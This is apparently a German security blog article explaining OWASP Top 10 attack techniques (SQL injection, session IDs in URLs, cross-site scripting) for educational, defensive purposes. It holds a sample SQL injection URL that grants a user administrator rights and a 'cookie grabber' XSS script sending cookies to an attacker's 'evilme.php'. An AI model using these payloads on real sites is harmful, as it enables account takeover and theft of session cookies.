Angriffstechniken – Sicherheit von Webanwendungen Teil3

1. Open Web Application Security Project (OWASP)

Jeder Betreiber einer Webseite muss mit Angreifern rechnen. Zweckentfremdete Webanwendungen werden für Spam, Phishing und sonstige Zwecke missbraucht. Besonders anfällig dafür sind Webanwendungen mit PHP oder anderen Skriptsprachen.

In einer Top-10 Liste für das Jahr 2013 hat die OWASP die größten Risiken für Webanwendungen erfasst. Ein umfassender Penetrationstest kann diese Risiken sichtbar machen und für Klarheit beim Stand der Sicherheit sorgen. Wer die gängigen Angriffstechniken kennt, kann sich dagegen auch schützen.

Im heutigen Beitrag werden einige Angriffstechniken aus der OWASP-Liste vorgestellt. Es zeigt auf welch unterschiedliche Arten Webanwendungen verwundbar sein können.

Dieser Beitrag ist Teil einer Artikelserie:

2. Angriffstechniken

Ein Angriff ist zunächst ein nicht autorisierter Zugriff bzw. Zugriffsversuch. Es existieren mehrere Möglichkeiten, IT-Systeme in ihrer Funktionsweise zu manipulieren oder zu schädigen bzw. einen Angriff auf IT-Systeme vorzubereiten. Durch eine grobe Einteilung in unterschiedliche Kategorien werden sie unterscheidbar.

Angriffe über das Netzwerk: Ziel dieser Angriffe sind vor allem Schwachstellen oder Unzulänglichkeiten in Hard- und Software von Netzwerkkomponenten, Systemen und Anwendungen. Dabei machen sich Angreifer die Funktionalität der eingesetzten Netzwerkprotokolle zu Nutze. Beispiele sind Portscans, Sniffing, Buffer-Overflows oder Injections.
Umgehung physischer Sicherheitsmaßnahmen: Durch unbefugtes Eindringen in Rechenzentren eines Unternehmens erlangt ein Angreifer physischen Zugang zu IT-Systemen und dessen Daten. Die physische Sicherheit von technischen Infrastrukturen ist daher eine Grundvoraussetzung für die IT-Sicherheit in Unternehmen / Organisationen.
Social Engineering: Darunter versteht man die zwischenmenschliche Beeinflussung mit dem Ziel, bei Personen bestimmte Verhalten hervorzurufen. Dazu gehört zum Beispiel die Herausgabe von Passwörtern, sensible Informationen zur Gebäudesicherung oder das Ausführen von infizierten E-Mail Anhängen. Das Ziel ist meist ein Zugriff auf ein Computersystem, um vertrauliche Daten einzusehen.

Bei Angriffen auf Webanwendungen handelt es sich typischerweise um Angriffe über das Netzwerk – ausgeführt im Schatten der Anonymität. Im Folgenden werden diverse Angriffstechniken auf Webanwendungen vorgestellt. Die ausgesuchten Beispiele beziehen sich auf die Top-10 Liste Bedrohungsliste der OWASP für das Jahr 2013.

3. Risiken für Webanwendungen

Die Bedrohungen für Webanwendungen ändern sich permanent. Ursachen sind schnelle, allerdings wenig nachhaltige Entwicklungszyklen und die Verwendung neuer Technologien. Ebenfalls eine Rolle spielt das schnelle Lernvermögen der Angreifer.

Innerhalb einer Webanwendung existieren verschiedene Angriffsmöglichkeiten. Einige sind einfach zu finden und ausnutzen, andere wiederum sehr schwierig. Sie unterscheiden sich ebenfalls in ihrem Schadenspotenzial – die Spanne reicht von nicht nennenswerten Auswirkungen bis hin zum nicht kalkulierbaren Verlust aller Informationen bzw. Daten. Letztendlich kann nur eine Risikoanalyse aller relevanten Faktoren für Klarheit beim Stand der Sicherheit sorgen. Wir reden hier natürlich immer von Wahrscheinlichkeiten. Wie wahrscheinlich ist eine Bedrohungsquelle, der damit verbundene Angriffsvektor und schließlich die Ausnutzung der Schwachstelle?

3.1 OWASP Risik Rating Methodology

Die OWASP stellt für die Top 10 der größten Risiken für Webanwendungen ausführliche Informationen zur Verfügung. Dazu zählen unter anderem die beeinflussenden Faktoren und die technischen Auswirkungen. Mit Hilfe des Bewertungsschema OWASP Risik Rating Methodology werden die Risiken wie folgt charakterisiert:
Risiko-Modell
Das Modell wird im Folgenden für die Klassifizierung der Angriffstechniken verwendet.

4. SQL-Injection Top1

Viele Webanwendungen arbeiten mit SQL-Datenbanken. SQL-Injections treten auf, wenn nicht vertrauenswürdige Daten als Teil eines Kommandos oder einer Abfrage von einem Interpreter verarbeitet werden. Angreifer versuchen also SQL-Kommandos in Datenbanken einzuschleusen oder so zu manipulieren, dass diese eigentlich nicht vorgesehene Befehle ausführen oder den unautorisierten Datenzugriff ermöglichen.

4.1 Klassifizierung nach OWASP

Gemäß dem OWASP Risk Rating Modell lässt sich eine SQL-Injection folgendermaßen Klassifizieren (Quelle: OWASP Top 10 2010 – German PDF):

Bedrohungsquelle: Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann. Dazu zählen externe und interne Nutzer sowie Administratoren.
Angriffsvektor: Der Angreifer sendet einfache textbasierte Angriffe, die die Syntax des Zielinterpreters missbrauchen. Fast jede Datenquelle kann einen Injection-Vektor darstellen, einschließlich interner Quellen.
Ausnutzbarkeit: Einfach
Schwachstellen: Injection-Schwachstellen tauchen auf, wenn eine Anwendung nicht vertrauenswürdige Daten an einen Interpreter weiterleitet. Injection Schwachstellen sind weit verbreitet, besonders in altem Code; sie finden sich in SQL-, LDAP- und XPath- Anfragen, Systembefehlen, Programmparametern usw. Injection-Schwachstellen lassen sich durch Code-Prüfungen einfach entdecken, schwieriger durch externe Tests. Scanner und Fuzzer können hier unterstützen.
Verbreitung: Häufig
Auffindbarkeit: Durchschnittlich
Technische Auswirkung: Injection kann zu Datenverlust oder Verfälschung, Fehlen von Zurechenbarkeit oder Zugangssperre führen. Unter Umständen kann es zu einer vollständigen Systemübernahme kommen.
Auswirkung: Schwerwiegend
Auswirkung auf das Unternehmen: Der Wert betroffener Daten für das Unternehmen sowie die Laufzeitumgebung des Interpreters sind zu berücksichtigen. Daten können entwendet, verändert, gelöscht werden. Kann Image Schaden entstehen?

4.2 Typischer Ablauf

SQL-Injection

4.3 SQL-Injection Beispiel – Verändern von Daten

Auf einem Webserver werden Bücher durch das Anhängen von Parametern an das PHP-Skript aufgerufen und anschließend dargestellt. Der übergebene Parameter ist Bestandteil der SQL-Abfrage.

Normale Abfrage im Webbrowser:http://webserver/books.php?ID=60
Übergabe der Abfrage an die Datenbank:SELECT author, subject, text FROM artikel WHERE ID=60
Manipulierter Aufruf im Webbrowser: http://webserver/books.php?ID=60;UPDATE+USER+SET+TYPE="administrator"+WHERE+ID=20
Übergabe der Abfrage an die Datenbank:SELECT author, subject, text FROM artikel WHERE ID=60; UPDATE USER SET TYPE="admin" WHERE ID=2;

Im zweiten Aufruf wird einfach ein SQL-Befehl untergeschoben bzw. angehängt, der die Tabelle USER modifiziert. Wird die Übergabe des Befehls von der Webanwendung an die dahinterliegende Datenbank also nicht geprüft, können wie in diesem Beispiel mehrere SQL-Befehle ungehindert übertragen werden. Einige Datenbankserver erlauben anschließend die Ausführung mehrerer SQL-Befehle gleichzeitig. Dazu gehört der Microsoft SQL Server 2000.

5. Fehler in Authentifizierung und Session-Management – Top2

Sobald eine Webanwendung Zugangs- und Sitzungsinformationen austauscht ist Vorsicht geboten, da diese oft unzureichend geschützt werden. Werden Anmeldeinformationen beispielsweise unverschlüsselt übertragen, sind Angreifer in der Lage Passwörter oder Session-Tokens mitzuschneiden. Infolgedessen können sie sich so Zugang zum Account verschaffen und die Identität eines Anwenders annehmen.

5.1 Klassifizierung nach OWASP

Gemäß dem OWASP Risk Rating Modell lässt sich Fehler in Authentifizierung und Session-Management folgendermaßen Klassifizieren (Quelle: OWASP Top 10 2010 – German PDF):

Bedrohungsquelle: Nicht authentifizierte Angreifer sowie authentifizierte Nutzer könnten versuchen, Zugangsdaten anderer zu stehlen. In Betracht kommen außerdem Innentäter, die ihre Handlungen verschleiern wollen.
Angriffsvektor: Angreifer nutzen Lücken bei der Authentifizierung oder im Sessionmanagement (z.B. ungeschützte Nutzerkonten, Passwörter, Session-IDs), um sich eine fremde Identität zu verschaffen.
Ausnutzbarkeit: Durchschnittlich
Schwachstellen: Obwohl es sehr schwierig ist, ein sicheres Authentifizierungs- und Session-Management zu implementieren, setzen Entwickler häufig auf eigene Lösungen. Diese haben dann oft Fehler bei Abmeldung und Passwortmanagement, bei der Wiedererkennung des Benutzers, bei Timeouts, Sicherheitsabfragen usw. Das Auffinden dieser Fehler kann sehr schwierig sein, besonders wenn es sich um individuelle Implementierungen handelt.
Verbreitung: Häufig
Auffindbarkeit: Durchschnittlich
Technische Auswirkung: Diese Fehler führen zur Kompromittierung von Benutzerkonten. Ein erfolgreicher Angreifer hat alle Rechte des Opfers. Privilegierte Zugänge sind oft Ziel solcher Angriffe.
Auswirkung: Schwerwiegend
Auswirkung auf das Unternehmen: Betrachten Sie den Geschäftswert der betroffenen Daten oder Anwendungsfunktionen. Betrachten Sie weiterhin Auswirkungen auf das Unternehmen beim Bekanntwerden der Schwachstelle.

5.2 Fehler in Authentifizierung und Session-Management Beispiel

Eine Webanwendung stellt online ein Hotelbuchungssystem zur Verfügung. Nach der Anmeldung erhält der Anwender eine Session ID, welche direkt an die URL angefügt wird. Während er sich durch die Angebote klickt ist er darüber eindeutig identifizierbar.

http://webserver/booking;sessionidFFDD349XVDDFLKDG?dest=Singapur

Das soeben gefundene Spezialangebot für ein Hotel in Singapur möchte der Anwender seinen Freunden per E-Mail mitteilen. Dazu kopiert er den obigen Link und verschickt ihn – inklusive der Session ID. Jeder Empfänger ist damit in der Lage über den geteilten Link direkt in den Account des Freundes einzusteigen. Theoretisch möglich wäre jetzt ein Buchungsvorgang oder das Ausspähen der Kreditkartendaten-Informationen. Im Normalfall sollten Freunden derartige Handlungen natürlich nicht ausführen. Gerät der Link allerdings in falsche Hände, kann der Angreifer damit die Identität des Anwenders annehmen.

Generell gilt: Session IDs haben in der URL nichts verloren.

6. Cross Site Scripting (XSS) – Top3

Mittels XSS schleusen Angreifer Scriptcode in Webanwendungen ein, um Benutzersitzungen von Anwendern zu übernehmen, Seiteninhalte zu verändern oder den Benutzer auf bösartige Webseiten umzuleiten. Solche Schwachstellen treten immer dann auf wenn eine Webanwendung nicht vertrauenswürdige Daten entgegennimmt und diese ohne eine entsprechende Validierung an einen Webbrowser sendet. Beim Anwender wird der eingebettete Schadcode (zb. als Javascript) dann ausgeführt.

6.1 Klassifizierung nach OWASP

Gemäß dem OWASP Risk Rating Modell lässt sich XSS folgendermaßen Klassifizieren (Quelle: OWASP Top 10 2010 – German PDF):

Bedrohungsquelle: Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann. Externe und interne Nutzer sowie Administratoren.
Angriffsvektor: Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken.
Ausnutzbarkeit: Durchschnittlich
Schwachstellen: XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS- Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS- Schwachstellen: 1) Persistent, 2) nicht- persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen.
Verbreitung: Außergewöhnlich häufig
Auffindbarkeit: Einfach
Technische Auswirkung: Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc.
Auswirkung: Mittel
Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.

6.2 Typischer Ablauf

XSS-Angriff

Der Kuketz-Blog ist spendenfinanziert!

Unabhängig. Kritisch. Informativ. Praxisnah. Verständlich.

Die Arbeit von kuketz-blog.de wird vollständig durch Spenden unserer Leserschaft finanziert. Sei Teil unserer Community und unterstütze unsere Arbeit mit einer Spende.

Mitmachen ➡

6.3 XSS Beispiel – Cookie Grabber

In einem bekannten Online-Forum zum Thema Schnäppchen hat ein Angreifer eine XSS-Lücke ausfindig gemacht. In seiner Foren-Signatur integriert er einen Javascript-Code der von der Webanwendung nicht validiert wird. Jedes Mal wenn er einen Beitrag schreibt wird seine Signatur angehängt – mit dem Ziel die Cookies von anderen Anwendern zu klauen.

<SCRIPT type="text/javascript">
var adr = '../evilme.php?monster=' + escape(document.cookie);
</SCRIPT>

Öffnet ein Anwender einen Beitrag, der einen Kommentar des Angreifers enthält, wird sein Browser-Cookie mit den Anmeldeinformationen an das evilme.php Skript in der Variable „monster“ geschickt. Auf einem dafür eingerichteten Webserver nimmt der Angreifer die Cookies dann entgegen und schreibt sie in eine Datei. Mit Hilfe des Cookies kann der Angreifer die Identität des Anwenders übernehmen – Ziel sind meist Administrator-Accounts mit erweiterten Rechten.

7. Fazit

Die oben dargestellten Beispiele kratzen lediglich an der Oberfläche des Möglichen. Als kleiner Einblick in die Angriffstechniken auf Webanwendungen sollten sie jedoch genügen. Allein auf die OWASP Top 10 sollte man sich bei der Suche nach Schwachstellen nicht verlassen. Dort sind lediglich die größten Risiken erfasst – daneben existieren aber weitaus mehr.

Im folgenden Beitrag werde ich damit beginnen den Penetrationstest zu beschreiben. Welche Analysewerkzeuge eigenen sich für die Erkennung von Schwachstellen in Webanwendungen? Wie ist ein Penetrationstest aufgebaut? Je nach Umfang sind Penetrationstest natürlich sehr komplex. Dazu mehr im kommenden Beitrag.

Bildquellen:

Virus: „#38192396“, https://de.fotolia.com/id/38192396
Nemo: „Karate“, https://pixabay.com/en/karate-kick-jumping-martial-fight-42412/
OWASP Risk Rating Model: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
Holgi: „Singapore“, https://pixabay.com/en/singapore-fullerton-hotel-view-50547/

Über den Autor | Kuketz

Mike Kuketz

In meiner freiberuflichen Tätigkeit als Pentester / Sicherheitsforscher (Kuketz IT-Security) schlüpfe ich in die Rolle eines »Hackers« und suche nach Schwachstellen in IT-Systemen, Webanwendungen und Apps (Android, iOS). Des Weiteren bin ich Lehrbeauftragter für IT-Sicherheit an der Dualen Hochschule Karlsruhe, sensibilisiere Menschen in Workshops und Schulungen für Sicherheit und Datenschutz und bin unter anderem auch als Autor für die Computerzeitschrift c’t tätig.

Der Kuketz-Blog bzw. meine Person ist regelmäßig in den Medien (heise online, Spiegel Online, Süddeutsche Zeitung etc.) präsent.

Mehr Erfahren ➡

Unterstützen

Die Arbeit von kuketz-blog.de wird zu 100% durch Spenden unserer Leserinnen und Leser finanziert. Werde Teil dieser Community und unterstütze auch du unsere Arbeit mit deiner Spende.

Folge dem Blog

Wenn du über aktuelle Beiträge informiert werden möchtest, hast du verschiedene Möglichkeiten, dem Blog zu folgen:

Bleib aktuell ➡

Diskussion

Wenn du konkrete Fragen hast oder Hilfe benötigst, sind das offizielle Forum oder der Chat geeignete Anlaufstellen, um dein Anliegen zu diskutieren. Per E-Mail beantworte ich grundsätzlich keine (Support-)Anfragen – dazu fehlt mir einfach die Zeit. Kuketz-Forum

Abschließender Hinweis

Blog-Beiträge erheben nicht den Anspruch auf ständige Aktualität und Richtigkeit wie Lexikoneinträge (z.B. Wikipedia), sondern beziehen sich wie Zeitungsartikel auf den Informationsstand zum Zeitpunkt des Redaktionsschlusses.

Kritik, Anregungen oder Korrekturvorschläge zu den Beiträgen nehme ich gerne per E-Mail entgegen.

Artikel (400)